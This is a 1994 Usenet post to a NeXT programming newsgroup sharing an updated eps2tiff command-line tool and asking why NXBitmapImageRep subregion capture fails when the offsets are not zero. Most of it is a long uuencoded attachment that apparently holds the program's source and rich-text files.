Newsgroups: comp.sys.next.programmer From: smith@nextone.niehs.nih.gov (Howard C. Smith) Subject: eps2tiff and using NXBitmapImageRep initData fromRect: Message-ID: <1994May10.181751.16033@alw.nih.gov> Sender: postman@alw.nih.gov (AMDS Postmaster) Organization: National Institutes of Health Date: Tue, 10 May 1994 18:17:51 GMT Another enhanced incarnation of the recently posted eps2tiff command line program. Question: how to use NXBitmapImageRep to select and save a subregion (rect) of the original image. For some reason I have problems with the x and y offset being anything but zero... Do the windows have to be displayed for this to work? The documentation for NXImage -initFromImage: rect: doesnt seem to note any problem with offscreen cached images. Here's the latest: -- Howard C. Smith National Institute of Environmental Health Sciences 111 T.W. Alexander Drive Research Triangle Park, NC 27709 smith@nextone.niehs.nih.gov -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!4:6UE<RU2;VUA;CM]"EQM M87)G;#$R,`I<;6%R9W(Q,C`*7'!A<F1<='@U-C!<='@Q,3(P7'1X,38X,%QT M>#(R-#!<='@R.#`P7'1X,S,V,%QT>#,Y,C!<='@T-#@P7'1X-3`T,%QT>#4V M,#!<9C!<8C!<:3!<=6QN;VYE7&9S,CA<9F,P7&-F,"!<"D%N;W1H97(@96YH M86YC960@:6YC87)N871I;VX@;V8@=&AE(')E8V5N=&QY('!O<W1E9"`*7&(@ M97!S,G1I9F8*7&(P("!C;VUM86YD(&QI;F4@<')O9W)A;2Y<"EP*475E<W1I M;VXZ(&AO=R!T;R!U<V4@3EA":71M87!);6%G95)E<"!T;R!S96QE8W0@86YD M('-A=F4@82!S=6)R96=I;VX@*')E8W0I7`IO9B!T:&4@;W)I9VEN86P@:6UA M9V4N($9O<B!S;VUE(')E87-O;B!)(&AA=F4@<')O8FQE;7,@=VET:"!T:&4@ M>"!A;F0@>2!O9F9S970@8F5I;F=<"F%N>71H:6YG(&)U="!Z97)O+BXN7`I< M"D1O('1H92!W:6YD;W=S(&AA=F4@=&\@8F4@9&ES<&QA>65D(&9O<B!T:&ES M('1O('=O<FL_(%1H92!D;V-U;65N=&%T:6]N7`IF;W(@"EQI($Y826UA9V4@ M+6EN:71&<F]M26UA9V4Z(')E8W0Z"EQI,"`@(&1O97-N="!S965M('1O(&YO M=&4@86YY('!R;V)L96T@=VET:"!O9F9S8W)E96Y<"F-A8VAE9"!I;6%G97,N M("!<"EP*2&5R92=S('1H92!L871E<W0Z"GM[7$Y'1&]C=6UE;G0T-3@@97!S M,G1I9F8N;0HU,#0V($TG658P.3XC+$0T)$=#,413*TU(8#8L0E!(/"XG)"(M M*D<D0E$X1#0P)B97,$A@)")@+#@X+59+)%HH0U$*34A04C(I-%<^0",D(SA8 M5#HM1CL\2"4F(T%`4BXF-B<X3BXG,4A,7C\P*"PJ)S1*5$HM)D,R*2Q*-SQ* M-`I-6CA,-R@L4D0X-2PF,2PB(2$P7$8U*B-`*CA`2CQ<*CPJ.B]#*D0F(SE$ M(4PZ."0G02%,5S<],E92+BPV"DU+35!;/3XN3C$Y+3<K249>.EX\8#M*)2<[ M4$Q5/STN6$0T2#51*4Q:/2%"-U@S22)<,4!6/3Q!-%DS)B<*32-)1%0[55)` M7#HF0#Q!3%@[7C,P8#PF(T,L(RLZ/$I82#\N0D,A5SD])#(S+4A5.BT^3%`\ M+B),,C0L.PI-3B<C0DY$3D<N.55:+3!?0U!61%M0.2I$0SU`4E(W1%=?451< M7DA/23$Z(2Q*-UD],DPC3%)73%M!5%M<"DTN43A!42I7(R@S7S8O(5-44R=4 M7UM=6SXR3E!;7BI')U<W)E0W.B0X)C9<8"XI25)>.E<G)U951U)@)#P*329& M1BPL-#Y@5EY5)UA@33DH.S)`/4])52E$/#DX.S!145!,0D1&04(\154A,3P\ M.R@H4U%11D4S-3,W)@I-)B(B5#PD.BXL*4LU2#4T(D<Z-34F4T926#0P.38E M(U%!-B$\5C\E)B9'73E)44`J.#Q!45%!0$Q`)2-%"DTF-SI$2"@A0CTB,$!9 M23E#6RHC8"8F030J-C@B*D9125%1.3U&*T8G8$TM+3`\/B@I.$I)0$%%4#DK M1$<*32<G2C@B/C8Z.SXQ03=9.B4F3D`F0$<\*#),.CHX02%'1UHM2U-%)B<F M*2\R0CPT-#H^03%124E42"4D)@I-25E:.C8V/D='6$E)2C%"1$5&)D9)3CHM M)#HZ.$@Y.#$J455&2$I&1D8I*EDT-B@Y-EQ`8#194"I%*"0G"DTG-C<H6#0Z M+#H\2B$T,"A`3"]$)B<G,4PZ.CI14B)(*V!)0$DP.4]@36`T32I.04Q4.DA: M,4%"+5TP(2(*32,N+RY&1"(Y-UQ:5DE&.S1<2C=.,S8X7B4P.#E&3U1%(455 M)S<B)25%0R=@7"@H+"U;4C!`4%-13D)/0PI-.C(O+BPP/4@[12(Q(5%1-4HS M3STE53!$.#@P,3=04U$Q(2TP,B4G)"4N+%U8/#`W,TI!/#$K34LI0DXG"DTF M-E-,2B)8+$4H23DJ(35(,S!*(F!#,E\D.#LC+%PH,5P\,4].)B4D)BLJ1B%, M*RTK3B,\/&`I5TPH8"8*32)70E!$+#Y+6"%;6%TK2D]71"5!.%)"0$`J+EHX M6U4H*SDU-CA*1D5%-SE$*C@H/CI.06!!0%E36B@B)PI-(T='2#PH/"XZ+D!` M,$!(24`A(B).1#1<.#0S03Q4*UL\4"E35R0D/$9"(CA3.T`B.$E86S%5-$=$ M)R8B"DTC24(K0C@J,S0A.$Y<.T8K-3!;3D5'*C<P*#@H-CE)8#M:0$E&8$1) M1T9/.%]&6#A&6"U04$%2/T%96V`*35HD7C(X/T@\2BH^)5!.239-3UE:6RQ" M0S94.TU02$XA3EY:.CQ:62=<)DQ>.R<P.21%+4PL/#D_.UU340I-45(F+S<O M*RDJ.E\L02$Y-UHI6F!=,C-&)T=+5D]*3R$_/CDE)U)77E$Q1"-`/T1<(4,J M,40\440J)$XB"DU22UI`(2)`-%@P0U(H55M),"<B6BPJ,4X^/3%")S!!)#1@ M*%-08%@D*4\B/E]9*E9-*CLI0#=*5TI17U8*33XL/%DO+E`O/$TE.R-@.DM5 M,U`N+TQ<)#XD(D%&+D`W(4]-14-(-EY27"PK*E)!(UE)5B$A,SHD1S!'4@I- M2"PO63<^75XP(U,A)S@X.#!3+RQ$)S4I.2@D*5M-(20G3TE0/5M46V`Q2DA& M*U!+54TA53)$,2,E65PX"DTN3%8X*#!153A@+#TP*3XR+DU+44-!0C$F/%<N M3"@H-5I@6"0_/",\34DR1U%923TC2%Q%6#DL/%`F,R4*35-&028C1RHP)E5" M3C19.$!?-$`D2#$O(39-2U(E3"\P23DM5R8P43\P*$4I+#9&4B$W7"$Y-F`F M-%%"60I-*&`Z-$)))BPX4F!#)C):6#@W(48P1C`^7#1@/"4L0F`^2T@D*24\ M,B0D0"5")D`L/"Q`(R)'2U5*4E)9"DTZ,$T]-E4P/TY48%TQ,R@R(3A:-"8Q M*#5@4#\H/RI4)$!(13Y.1"-`+D5-7D0I14TJ)"XV42-&73565$$*32(L)4$P M6#8F,4,F5T4N)"Y1)$LT0#$K5$TR54PP-28L5$$H.U8O(B8L/#$E+#PP055! M.U1.,D%>.TA8+@I-,6!!*$HI0E`G+BM(,"@A.%@M0#T\*2PG*%-1)B-/(D%` M43(N*"@R*%5(33@P*"TC7CLC4"$H4EE(,$5%"DTZ)"U*12Y&)"I#(B$B-48B M,#DX5CE+*$`D)"5`,CHA(B0Z0D=`)"LY25E=.T9@65U*2"A.0$%)5#966$`* M34-!)T0L(BQ#521`)UHB4B,P2%0Z)"$B1$LU-#<M-"9--D$V1R$G0$4U)D0P M,R5)(2@K.40U,C0O0U\E2@I-)C4Y,RI02D(R0"0K+34Q-R=32B4\6R1!(R8J M0%)$-E,\*RI21TDU(CI!-2PV5#PD8$M#-D`U1#8G+$Y6"DU:(6`B2T%#4S1* M55)`/C,H)"I*3T@^8"X[*B<^2D,H2TI#,CQ@,%9+-#$\*E0C8#=(2EM*2BY+ M4DE5*DT*32A=1D8E3S)`-#HT(S8D)%@V13)!52(B-3A:/T%5(38C4E8E3B): M7SU:55-;0D);8")).E`T4B$V8$9)50I-*E$^1%%+,BH\-"4[.T8X6UI).2$U M33D]62%&4C)1/TXX3%I;6"E6.$E3,"M)/%I*.EI22#A"74=4/2$]"DTT-34W M3SU`25LV13,B4"M82T4^7THG5S4]+E=;5SU30#5;6CTU."9:5B5%/S91-S@A M,#PF7"9(-#,D)E\*34Y&2CA525$M*%-60S,Q)B@T4R1;-DQ955Y`3$-56"9` M*S(X)F!`22Q'(C<W23PB/"M@0#T^0%0\5UQ6)@I-*DPZ5"A'(5I84DU!2R9& M+4I@16!;2C8N0D5@6C,G-28R730A-54T6BA%1B4]/#LD6D@M-58M(ELN,517 M"DU.,DM%2E5>/3)9.C8R,S\C1#PD1D%2)BE1(R4P+3-`0%=!.4U*7RA"/$]8 M)5$W73$L.$\]7RXI.TQ*(4H*335<3#HD44T\5SY.+E505SI?,4@^7B]10"]9 M+U<Z54Q;2UA924\E6#M66$Y-02U;43]<34`V33%>0SM8.`I-+4U(54Q4148D M.5-82$(U4$`P4%Q2*"@Y05$^6T`L6D%;/")<6#0])E1-+5TH6CY(,C952C!0 M+5I364%#"DU-.4$]0S0R5D!'2S9,(R]50#%6+3!%55->331`(BE23#%15TPQ M-"XX45DS/BM9(B5#*D9.)4]'*#LT0U(*341$)S!9(T8B)"Q*3UQ(2#E:3V`V M3D<R1B-`/D$H8%=)*"%!,4,P05-$,2E)-58L6T<Y(RHY6D4G33I5(0I-.SL^ M)3XA7C5+6D,R0#5"/4,U7TE@03PE*#Y"5TDJ4CTV4B@L*S!06DHN12U(5"LU M+4U1*E@E(EXG*EQ4"DU+/B4]/5%!54I41#M-4$P\8$<N0DPI02%=1STW6ULA M*#DI5R\B(3]%1%<S2R4H.SLT+B0M-4HW*BQ/3E0*33`\(BY0,#0]4$(W1DE# M+"1`1E@N24,J-4!3*UE-+2XL)DPE1#$Q(2(E,UDV(2)&0%0E0EU!8"4Q0E1' M30I-/UQ=-2(D43LP6#`^3%I`04\H)D`\2T-(440S)D$B/2A8,$DH(B9(,24H M244B3%E5(B10,T4T12,I,#)2"DU=4D]",U(C-E`[34Y;,T=`)S15158C3#I> M1%M./T4D4RI!4"]<6R8Q/B="73)9,$\Z5C=<2$Q)8"%)+CL*32HW*C-84$PJ M.4H])B0C,"X_4RI8.BXN(C<O/%H[*EM2.3,A,$HA,D]=2%$R6#!93R(N1#$I M*3`G431/-PI-0C)(+#<R(R$V(30\2B-95$$E/DE:7$Q@/EU&0T`_.#A?-"@Q M*D14)U<_+SY=6TM32$Y:)D-;7#A)+5M4"DU2)E]=6E\L/CY>*%Q?7RI5559` M.58G(CM$*%I422D_7T\_.B5#4T<T5%XC6#A$2%XB*3L_/R\M(U=74#L*32TQ M3#U=-2=.,54K."532U,I4CLC650Y4"DD/UA%4",F+48Z,4TD)3DD)3U7."0F M2R0P.$`P)THN1#$X1@I-*4`[/D5@,%$X1"8N6#`Y3#`A/T,],4T\2&`B+B$P M*%)$(C18,"-@1U@S,%=@,"M134@F-UE0*%HZ)$Q-"DTJ(T0C*34^2S0X+U$I M04%(,3@S*S0P.%!!2"]52$0O(RU743Q(-UQ,,5%115PG*%%)52@B43`[5B0S M)E@*33`T72E$4SPB)2="3SQ'(44H5"M`0%,P-6!4(2](4R96,50C23Q4(TQ( M5"-.8%-<25!@/5Q`(T5&5%-=10I-7B-?1%10+4I2(R5,.B0C2T148"M5)&`O M,2-`0#E@*C4P5TE<7B1,250C0#%2)DP[-6`V7B1%04PA0BU$"DTJ(R4Z6$@H M33PH+#$D0#E9*"500BU!.#<E,3E61"8Z7$!1)"HP)EHW3B-&/3U43$A-*$E: M)B1@(T$C6F`*34(D(TU04RA..%-/)2$G250P(T57(B,E648C,T,L4U=`15`C M52%4,E,V)"-*.%A-4$(H32XT8#`O,B<L5@I-05<L54Q'+RXA(S\P,2)4)S!$ M5EHP5S$F-5`Y*"U5+S8F)U4O-5`Q,2U7-28T)S1:12@C)"4C2R=6(T\I"DU6 M*#HA/BA.)#Y@,%I,)TE<2$`\2U4U*E(D.%DJ05`H,D%5+$!()2\Q554L7RDP M-5))5"PG)5`H2$PC+%T*32Q674I$-3-/)#%?8$`V73U)-EU17#,O-S5')59` M0CU-0"4U4#`D53Y,0CHO5B8D+CXQ(2==-#A57$$])0I-14`[2%1"13Q:8#H^ M)5-+/EY@.2<E52]"4B<S1"(G-3(Q5S4V25-,13(V.#LY)SM@)B-93DPB+E(A M)%DZ"DTH04%*0",E1TPF*49$8"A:6F`H.U%@*3E%,C1?8%A,1%$C,$\\1"I: M1%4\7$!9*$M55RDS,B1@0$HX7%\*35A72$`Q23,_)%-9*217)4LR*$\K7B@Z M(UHD(2=((C8K-$0I/4HP+3I*,S$\1C%*7R59,#,J8"DW5"<I20I-24DP4%U$ M4S$Q8#L\,BDN.S1'+3,R*%1:15A?-U(B-SDF(EHL-C--0EA)024Y62]`0BDO M7S(I1%LZ.%A="DU&.%A?0C@A+TDH(R-!(U]1-BA-5"8X/3<\*%Y!1%A?6UHE M*UXR)2Q6*3E@)%(U+258)2U@*34P*DHS4"P*33XY*49@)4PQ-C9<-"XQ74M% M1EPC/35.2$XI)%-4221*8$DH0BHS4B)"-#,D1CDI04PI*3`Q,5!.*C1=6@I- M)"DL4RHR.%4^.2TI35<P7$U3)T4^*%A>2C0O-RXY,5@Z*3$H-C(O1"DA0D=2 M8#E:8"5(/2Q)-D@B(TTY"DU)-"U`7CE@2B4X-$XY63I41CDX,SQ9,4PN-"E. M8"D]7BHI/4XJ*$)0)CE",5562SI-)"8E6CE5)S8Y7$`*340I0SA.*4(M,CE: M+RXX5%DU4#A;25`^-5XR.$!*24<F*BHJ/3HY6%DB,D$M75`W2S8Y2TI&)U9) M5CA;,0I-)$1#)4TI3#DY.2)?+C4R3TQ&5E$I.24K/3@W+B(Y54TT*BDX-3(M M+5PZ,3`F2C4R+DHU-#9*-38^2C4X"DU&2C4Z3DHU/%9*-3Y>2C5`)DHY0BY* M.40V2CE%1D8L+BE&1SA8-D!8+48A25)&0UDE-E9(638N6#U&-2,*35%'(3(U M-R<Z244]+#5&(2]-1D$Q+48U-2U$4UI)5C<M,3A&8%U6-#5:1R8].48[,V!` M/4DE2$HU6B8X1PI-,4I%4EU!/$TY0U!0048]5$)$*E4I15LY33541R5&1EDX M-DQ.-"5:+3$Z2R]51D--739"+4A&04].2DE1"DTR1U8W*48C-UHV15M,5E)4 M64921DI&2EE-2D(S(59.7U%&4D512DY`/D9/)2%*4#)6)DU?2%I/+25*3R,* M355*2RE.1$`])5I3*2U*4ELB2E<P,4=7,S5'/2I.2CTG53957UY*.$@I-EM$ M64`[1C%`/TA%03H]-#(W3`I-14913B$V7"M)52M4+4DE5#PF7RL^.2<M3C9? M)TDW*3E-15`A+5<C.EI"1"8I65`J*59<2C4V,"XU4E0Q"DU%64PT+5(L-RE; M(E=<1T-82BI27"E`*$`A6#!#*5),15E82EHR*D->4D4Y1#(X-C`M5RQ#)DE$ M12Y(6$(*35@G+6!!43DB15`C15XY1T<N.%M*4CDO2#XJ+CA`5S540&`I.EU2 M23PU5SPO(3<Y0R@G.315-T%&05<[20I-45<Y3B%7/5(Q5SU77DI=5&`G3BI) M5T5?658V(DA#4UI%53DR/E=%-%)71B\]6DT[-E)?.RA!03U66$DB"BU16$Y> M,B=(.D%72"]*)U\K(5=.*@I@"GT*K'U[7'!A<F1<='@U-C!<='@Q,3(P7'1X M,38X,%QT>#(R-#!<='@R.#`P7'1X,S,V,%QT>#,Y,C!<='@T-#@P7'1X-3`T M,%QT>#4V,#!<9C!<8C!<:3!<=6QN;VYE7&9S,CA<9F,P7&-F,'M<3D=$;V-U M;65N=#0U.2!-86ME9FEL90HR,SDR($TG658P,SPJ3"HV+$8C.4Q28"$H2C<L M0E!(/"XG)"(M*D<D0#%@*$(K+49#,&`F)#$Q*%`[+38I4$\G0%$*34%(4C$I M)2\V4B="45%,2#DM5D,T2"$F,TDL3#LM0E$V5RQ&4TE<7C\P*"PJ)S1*5$HM M)D,R*2TN-2,A1`I-(BA`/B@L.BPX-DHD,CE@0S196B(Z)R0F06`H)3@]0E!@ M.B0C,2%$6#Q6,S`R-B\F4R4\)3E=+DX[-4Q6"DU+14I6.4527#0Y(F!1*5I& M/SLZ7BPX3U8[14\B/$\F6CHK+C5#.2Q2-BI!7$8_+C8S2419/2XZ,"$V)#D* M34Q<0RX])%HB1T\D-3U@4#T_+E<N+3`N(C)))$DU)B-@1B4G(R$U2RY%7D<D M/"LF6CTF6#E*(2Y(44M,-0I-(U!`.#9?+#Q75TLG2%Y233HI4$,]4%4[+497 M.T9$)RM8*%<W+5XX.5`X/#\[1B0\/C!/15E)3S<^+5A""DU>3TM)2U8O+TM' M55LM+SY6.UP\/",N+B8K)5Q90RA&-U568");3V`_.%H[/5%9258B3BM61S@H M)BI"-T$*34$A,38Z+B8E)B8Z2%@X.#P]3D-!05(B)BHN*B@I*3E(6$A$2$E* M0T)"0$@]72PT.#M;44%&,5$_12$G)@I-0R):)#0X/2)@0C%1(D`B+&`I8"$E M-B0X76`Z+4Y<)U`Q,2TA(BXD(D,F5V`H/#U%/%DQ(5%$*%TG2B\S"DTA.%\] M+#0\,CM)(3$A05A03BDC(R,D4%HJ-#0Q,#$C,3$A)"DB.B$D)6`A4&`H8"0[ M/6`Q*%%-24XP(2,*32,V6EA,)CH[.U\J2#$B)&!,8"%@8$=*,EP\.4X]+B$A M(5DY*E-@)&`A0&!0-"0T-3!;4#%:*B%.4$1&20I-)6`A,&`L8"([33$Q23%1 M4RLE.D0F4$0M0"1(7V`L8&!@8#$R3THE)B8V+S!8."@\/2XP)4LA13<T0$DH M"DU*.CP^1#PP-#-00RHY2D)1(4<H(V`I+#)((E)3(RQ$.2)@(3<M0R$D)%)6 M8%Y..D]0-2A*(F`A+$4G2TT*32157S@L/"PW5EHW*39105).)R(F)TU$2C@T M0D)"6%@Y,4DP3D0F)2<F23`R/$)$8",Z4SM;2T\[5#0D3PI-23@L8$`D-D9% M1#<I44A5140F329/2#Q@8"0R7SXO4"LQ6%E56"0F22A0/%<\*BU%.TI314H\ M.C0I2"A,"DU@2%I>5#PZ7#Q.,SLB*S1@)RTB2B8G+D!0/#LF8"\S6#!)5&`S M)2$D)E8W*"0Q.#DW4C$I02LN)$)"2$<*32A`(C!@*&`F-%,R/3%%03-/+"4F M)S):6RPP/#$Y.S-1(4TW,%%*1B0H140K5CLT/#=;+#%=34%%1UE75@I-5D!; M-TI0-C92(D(J(6!@*#`D)B545BPL12,N-C(S,"-@8%573D(F2516.E,O/EI0 M04`Z*5HP+D\P.R=&"DTE+%`J.D(L.3,R(31-(2HO8"@A(D<Y55]33E`W.BI- M359124<O)D93124Q.E8Q8$(Q6D)>2B$R7%=/628*344Y,2)`/E`B.E,K05$A M+S0X/CY6*6`C4&!$8"0S1F`A(5%,4E-$(B8B4R]86C0H,#-#0%$A*C8S*&!4 M(0I-)T<Z5%0G5CE=54A.2DHF-&`F(U`A-2XD.#0X.3TN,U$V)D!.4B$C3DQ9 M/$M57D1*2#DL*B\J."X\1T,C"DU7/$(V(41>53)%4T\N651%8"0B)#1!5%!` M,$\L)EQ9/%PC/2HW,BE.)BM"0&!,-R8P8#U>4#!!(4@L*"8*32Y;0#`L8$!@ M.C$H,#@P.#LV*T104&`D+B)8)R94-%(E+V!@-C`V+R5@0&!.6&`X(6`A0F`B M1%5",$$F2`I-."I!+%,D42Q,04TC5"%*(D)`7U@K0"@N)%PM(5HO8"5-.D1* M.%8Q4%9!5F`X2CPI0"@X5SA?2#4P.%E4"DTL7$XX*R(F0"PA0T0C0B)>*D1! M02)*75$F4C]"24@D0D-@)"TY/"(^)EHK1DE134Q,)U0P+2DP1EXE-F`*32TC M0S(A,R9`52(_+%E4/6`B22HP+",A1%=10%)@8$!`22A`)%(H*#E:*",C03!0 M8")"2&!@(T@H*51),@I-64Y")EXP*"5@*D`A8&!.4"I`7$TP5"PK4DDR(R5# M4$8L3EA312)`8%`D,"@P8"0M1TQ)(T1,*#`S)$HM"DU(2"$F+"1`.4LI(B8L M35)!.C)5*#1#+STQ2$HC+SQ@*3$P(48D2#LP2R0R/DM!,&!@)"\R2T$^)B\L M4F`*32%#(B@P,SM;5510648R*4XF-D,B)BHK*2%!44U)5%$N,B@H*T`K.RU4 M7U8H*%$Q2#!!2R(M8#145"I,+`I-3#5..RXP5B4B0"-06"19+3XL*#)43"$E M.S))24A'*2I!-%E,+C`]/%1$)C=/+S!%.24S."U73T%25E9*"DTF+D1-/%-' M+RQ$)S`A.UU$2$0H,"@H)3LF-R9&*54U*"E2/SE3,$DP*#!6*2Y<0SPA0SHF M4E(Q*2%&5"@*34!10#XH0CTV8"XA."-`(DHK2S99,CL](5!'/#U@+CPP3T8B M)4E,5$$C)5]()2\Y2#%@,EI6.B5)(3DW,PI-*EE@-D`R/V!(,%%.0"I,+3%3 M.S%47"1".T%.4"I56U4^3"Q//29<5RQ#04$B3DY)025`0#)0)3DO*$`K"DU* M*6`D*%%#(30K*BA64"<X1C@\5C@L.4U,5T%,)%DH8"$S0D1@,%XA/RDI(F!( M8"$W+T`N8#T^,U0\-SP*33PH.5Q-/BE8(TPM(U4G*5`I3CX]2T$L6D@T(30A M72@B,5A5(3\R6E@P.44Z/DI=7$$P*&`N*T,U/"Q.8`I--RXT/EQ*-B9(0#0L M5%$X)BHV.%,A7U5+)BM5/%)"+3`W+$4V(EXB3CU6+&`W04<H4"9654`J)#Y` M33HB"DU;/2%@(R]!0RE'+E$B6"%$.BPB1R%90D\K3E0[*5$P0"@F6"E&)EE5 M.S8T2#90(3@C)BPX1C%'4B4B32@*34XN(4`C0B(C5C8C1$%+4U920#5.,BPM M-"11*&`G*%,C1E%*/F!8/%U;*DPP0EPD+SM,325+,$(W-5-)6`HW/4!62DD] M,$Y$)CI@)DU<6"@[(SI2/F!&*"@Z)55`)R,*8`I]"JQ]>UQP87)D7'1X-38P M7'1X,3$R,%QT>#$V.#!<='@R,C0P7'1X,C@P,%QT>#,S-C!<='@S.3(P7'1X M-#0X,%QT>#4P-#!<='@U-C`P7&8P7&(P7&DP7'5L;F]N95QF<S(X7&9C,%QC M9C![7$Y'1&]C=6UE;G0T-C`@5$535#`P,S4N<',*-CDQ,"!-)UE6,#4H22Q( M,"@C44A0.BM.(RQ@/")02#PN)R0B+2I')$)12$PV*B@C*SI()"0C(2@B+"PV M6S1"+B11"DTH5$`Y*3151D<E)5`A1$@P+39+.$8G)B-(6%0Z*U8G.B(O1U%( M3%X_,"@L*B<T2E1*+29#,BDL2C<\2C0*33HX1#`T*CI4(B0K1D,Y0%(K-CI8 M0&`F0C(E,$,V.SQ**B4F(C)!2%H[+$M(8",F)3(Y*$$Q/#HV)B(J1PI-,R%` M6CM>,DP[-2HE(CDT1"@M4S0F.2Y64T%0,#Q=0D0F.2\F4S%&63TN5S(R/R\F M(SDF6SI$)#A$.2PF"DU!*2A0.T0C*%!@)$(A0%0]+3<C2$(I)D,]*%@\+2XP M*CXU+R<C.4<F.58[0S8\3C5:5%HT+5<K*$1@3$4*35,I1%(\73I"4"906T$] M4$)-2#Y<.CTN1D,A3%H\43!(0BLF-2I?/B)"+#XD,C!/0C$Q+$HH+SI@.B\O M)@I-,T%&7"@O2F`H)2\F0R@H-S]-+B,T+E-&7SE/6%Q=-5<W42TC6B,_)SY7 M*CPH/#@X.ULB,258(U16/S\B"DTP)2@X,B@\/#M:43$A2#`B,TA")$`V0EP\ M,#XG)$18(2$X0$)01B<\04\I)3XA7#$S6B)')T1(+%!))R<*33Y.5UE-55U# M+DL[.%@T(2$U*T(G8$!&4%E165PB.#`E0%!40%`M(3TQ1RM065%>,2U+0#!@ M5$DN0$`](@I-12-30C$Z,C(S*#HU8%DM.S).145@1452/3@L*U!$)4E904PJ M7B)!041@-DI95"@M,S@H4$!053Q!,B<G"DTF(C,^,5@T-$`J1S=7451*5$@D M)D-$/UY=7CHN7SPE)U8A3"<I2$HF1R\\*5PP,#9:,28I43$N/$<])#@*32(E M1F!&2#I(2#%$63DP*3@S*28F)T%-1C8V.C<\*BI9)3I&3E!#24M)*S967DY* M)E\Y5S%9*E4\7$1*1`I-2R5'1")&4#E003A;*3HX3T,F)#TG-C<H,#)4/CTG M,CI08$U94&`E(B8W0BQ,-D(D63XG02L[0T(A1D$F"DT^.2Y!33(F6EA02CA` M*T1`321//B<A/T(]1#PZ.2)`*F!!44\^*$\R.S<X)%%"4"@X.2$A(4!#/2Q+ M2DH*34\Q3RXD/B@]/#I)6T=1)2DL+"4D)#0Q7$@R1D=!23HA6B56*S]`4R)) M*38R(R@H.3H[(R$Q2B%#0#TC(@I-4R(\5T8M/4$L6SXP*C$M(2,K)21@3DM5 M14X^(2522RA(*"U2(2]*(B4A4",W-4H^-R$F/5@H*%8I4%=-"DTD-%`W6#@S M,U=`5BU(+24U*EE5)20Q2%\\.#<S*2DD-%T]/30H6E94)"11-#0P,S<^.2A$ M+3U!3C!=320*320D/4@S-#0P.BT^+28M32<O4$--)"5$)$PW-S`S74TM/BU# M,#=()20D0"0E1T\[0#$[/4U.+#1/(R$E)@I-/3<J)$@^5"LU7R)+.BT\3CM% M35I/5D$\1T-+24E*+B%43"-24$Q;6B,G23I+)TM,)S<W5%Y.2BI82$='"DU: M52\P1#0].C<J1E<Q,3U9.$M)35P\/C<P.2M23BT_8"\I+RXS5D%<-D)`23-1 M*"U3)RXU+S\Q25@^6%T*32(A5RTD)UI`4U9=/S%$/T=85%@R6T%632];6UL^ M(DH_+T]*65%6(E];34HK)TDN-$%2/C1?+EU5*R<N.0I-)BPH4$%#-CQ@-"Y5 M-CU")5I+8$$E5"0K(C=80C!854XM*C,]3#192$]83CU:5D@G+RU&*2%(8$51 M(5=."DTP3$):5THD4#U,*",H+T<J1"-0,"LJ75DL1S,_7291.$\^3E$K6",\ M5%Q<-D]'/V!63%<P/R,[7$=)6BH*33HI7U8Q,%U>,CY1/UM.2B<P7BM!,UA# M6U997U]*1D$D75!7,$%`-"1@,2XI72@H)$Q&)B$C-U!`.S924PI-3$\D/%(F M*S!`1"D^*T$R)DQ60BLJ6ULR)3%7/40A0RP_(D0G-RPD,"<_4"@K,CI@04!1 M4R1@7#PM0S)$"DU"2T0H0%<K,#@L(U)((592)2X\6$\B1RT_.2$P(4,X/#HS M)D(H7%8A5$,H)BY)0D$L1S$P8"1-/%`J/S(*35(L(2E+.%(I1%<C8"4U1EI` M*3D[*D0L25PX-$$C.D0R14U962DR34LV."TY)$TN.$XR4D4G/2A`+$PJ1`I- M8#!8*BXL+#Q03F`^(3DQ4#LV0T%4.UDX25Q(/%<I*2DL74,S+"0E,"DQ1D@S M-%Y-72$N0%,M0RT[7DDI"DU'*E1,65-'5U4J/%]+.E%%.R9`1R-,8"DS75Y8 M4"E164A"/R);+$<N*EI7*2TJ*EE40UXY6214.BPH1$L*36!%-T<O-596)S%$ M/$TB+T9%+"4B.#XH(B9+,"9(3D1$*B-82SY-)B0Z13`F(RY72#!=)3E35S8N M52HA-@I-4$I!(C0\23%#4#A422):12HD4#%&328M+4<R120Q-DDS0E0Z-%DM M3B4B)%8A-D4K*5E++R8W05-'7EY,"DTT0U-?+C1>/"Q'-%LM)4`S(RXZ)U1* M5C`I0#DZ1C0E-45<22Y)6TA31R4K52E4(C4N32(\64TL5#9.-4H*344V(U!5 M.R(N33I5-RTR3314,TDN/CU:-$LB7RU:13M$6DTW,E8O-D\^(E=(,#-)*B9! M2F!%.35)6%A9)0I-)#)-,5$R*E5,.%\],C9$1#Y0+RHB3S9-0EHT(3E+-D)6 M,4%054LM3E$^2CH[12,K1S5`*2DX7"TI5DI/"DTB13PW3"4X1U<K1C(X-51` M-ELY-BU+8#I-,"8S/4XI+28G,E9)*UM=2R9)359=2SQ00SI,3B1-3CI$5#,* M35<N)E(Y0D\G*SI)5#HT3B-:22M33DPX)6`W*3E&34(W)$DV1RQ45DDP5CT[ M5"\O*ETJ,2PP3DDG4C]/.PI-2#DZ5$E3,UTJ-T\M/EU?5%5',EXP.59./EA6 M.C=9-TY56UDE439=7"Y024!*43DT3"5/-315/TE.14Y1"DTG3T)-)"(X3$$V M+5M57TE"+BI8,D=&33T^/4U!63@K54Q.0RL[)C-?5CU'339).E$J,CM-0D(_ M2UA)/B8*33U+,C!7,E(K*UM3/%9<2R1.,38N*T=5+2LE0#].53I73#$U4D`K M1TLW/BE"-5M3.B<_*51"75,\55`Z.0I-45TQ14DW-BM&558D545"1U<]-U(] M6T0L.3)=*T8[.",U0V`H72]/14U:.SE/7RLE7$E/04Y6."--649$"DTB.#A3 M0%XW/#=32E->/%--6S\M,5U744=53B-`14\L*R(Y3U!=+4`\*BU'(4`P-E$R M5#$\6#$I+RU0/B<*35%$)D)563`C,49/)50U0RX\*$`K4E8D3#A12S$^12E4 M25<\*UI$*BL^32I$+T9203M14T,G*4U645LM)@I-3#8M14LF+#I@74LF3D4Y M44M53UPZ6$HZ7%TC04LT)CA57TTX)B<S)%4Z3DTL22I!4EXM0R]51SDF1C96 M"DTU25`]6D9#0U5,22DC1S8S4#U/13E1/%M'73DN74LJ.54F45,K7T<A5T]8 M44XJ1TU:1R8S/CM33R%*6C@*34<Q43X_)"\Z5B,J42TT/%961D)`7T%//6`R M7TU0)D4Z7"9(1R\F5"LY7SY'(S!9.$<Y63I46D=&32H_.0I-72Y"*D]?-T)& M55A42E--/C=&+S,H)$]3)%1903HW8$<R72PV62%$-SXZ+2E;1B0E4BXC1$!= M-C-20D<L"DU<224T)EX\,3U*228^/5M2.DP\8%8Y5R5-2"<[.S<R1%!6,SU. 